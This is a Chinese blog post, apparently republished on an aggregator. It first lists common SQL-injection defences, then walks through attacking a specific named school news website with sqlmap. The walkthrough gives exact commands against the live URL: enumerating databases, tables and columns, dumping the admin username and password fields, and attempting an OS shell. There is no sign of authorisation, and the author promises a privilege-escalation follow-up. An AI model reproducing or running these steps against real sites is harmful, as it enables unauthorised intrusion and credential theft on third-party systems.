追忆那些年的SQLMAP

存储架构 2017-12-12 阅读原文

SQLmap -u “http://www.hfgy.net/news/show.php?nav_id=4&news_id=31″ –dbms mysql –D xxgyne –columns

背景

昨天在一个论坛网站上,看到一些小伙伴儿还在讨论SQL注入的问题,我这里发表一些个人见解,各位大佬请指正。

网站主页

手工检测

可以看处该网站的数据查询方式:拼接查询 / 而且暴露一个数据库名称 和数据库程序

正确方式:使用数

据库参数化接口查询。

附:

常见的防范方法

(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防SQL注入攻击。

(2)对进入数据库的特殊字符(’”&*;等)进行转义处理,或编码转换。

(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。

(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。

(5)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

(6)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

当然 ,这一看就是我百度出来的官方语言,其实关于防护SQL注入的大招就是:

只要是前端传到后端的数据 全部进行过滤,充分考虑数据的类型,做全面的判断

好了 祭出神器:Linux Kali SQLmap (我的kali 桌面,是不是很漂亮?)

好了 进入正题

SQLmap语句:

SQLmap -u “http://www.hfgy.net/news/show.php?nav_id=4&news_id=31″ –dbms mysql –dbs

服务器:Windows 2008 R2 or 7

数据库:mysql 5

爆出两个库 ,sqlmap语句 :

SQLmap -u “http://www.hfgy.net/news/show.php?nav_id=4&news_id=31″ –dbms mysql –D xxgyne –tables

可以看到存储管理员数据的表,接下来查询数据。

SQLmap -u “http://www.hfgy.net/news/show.php?nav_id=4&news_id=31″ –dbms mysql –D xxgyne –columns

可以看到 典型的两个字段

SQLmap -u “http://www.hfgy.net/news/show.php?nav_id=4&news_id=31″ –dbms mysql –D xxgyne –C “username,password” –dump

可以看到 还是一个弱口令,而且SQLmap已经猜测出结果。

初步尝试提权未成功 (后续附上提权)

SQLmap -u “http://www.hfgy.net/news/show.php?nav_id=4&news_id=31″ –os-shell

条件 :知道物理路径 有ROOT权限

没有root权限

好了 笔记本马上没电了 后续提权后 会继续跟上 ,希望各位大佬 指教与指正。

backup

责编内容by:backup 【阅读原文】。感谢您的支持!

您可能感兴趣的

Anticipating Disk Growth Adrian Buckman has a script which gives you an idea of what would happen if...
使用RMAN对CDB的root执行完全恢复 如果数据损坏或用户错误只影响CDB的root容器,那么可能只会考虑恢复root容器。然而,Oracle强烈建议你在恢复root容器后恢复所有的PDB来阻止roo...
Best approach to deal with simultaneous data in a ... Best way to deal with the date in javascript ...
简陋的分布式爬虫(附项目代码地址)... 新手向,基于Redis构建的分布式爬虫。 以爬取考研网的贴子为例,利用 PyQuery, lxml 进行解析,将符合要求的文章文本存入MySQ数据库中。 ...
The Importance of Baselines As a consultant working with SQL Server, many times I’m asked to look at a serve...